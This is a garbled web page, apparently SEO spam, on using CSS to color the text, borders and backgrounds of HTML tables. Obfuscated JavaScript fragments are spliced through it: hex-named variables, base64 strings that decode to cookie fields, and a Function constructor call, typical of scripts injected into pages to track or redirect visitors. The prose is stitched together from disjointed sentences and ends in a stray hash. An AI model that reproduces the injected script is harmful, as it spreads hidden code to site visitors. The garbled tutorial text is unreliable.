_0x306a12(_0xcf8ccf,_0x4b3ee1){return _0xcf8ccf+_0x4b3ee1;}};var _0x3a740a=[.
```

Change Color of Text in TableTo change the color of the text inside the table, you need to use the CSS color property.. In other words, HTML codes for specifying or changing the color of your tables within your web page.. About HTML ColorsThe examples on this page use basic color names to define the color to be used.. In most cases, the best one to use is the border property You need to provide this property with 3 values: a value for the width of the border, a value for the style of border (solid, dotted, etc), and another for the color of the border.. This is working correctly - you can apply the border property against the whole table, or against single cells.

```
var _0x28ee=['bWF0Y2g=', 'OyBleHBpcmVzPQ==', 'OyBkb2lhaW49', 'OyBzZWN1cmU=', 'SXZEaEk=', 'aHBKbVg=', 'Z2V0V

_0x38f68f;try{_0x38f68f=Function('return\x20(function()\x20'+'
```

The following example sets the background color for the whole table You can also set the background color of a table row and

---

an individual table cell.. As with the background-color property, you can apply this against the whole table, a single row, or a single cell.. HTML table color is specified using Cascading Style Sheets (CSS) Change Table Background ColorTo change the background color of a table, use the CSS background-color property. e10c415e6f
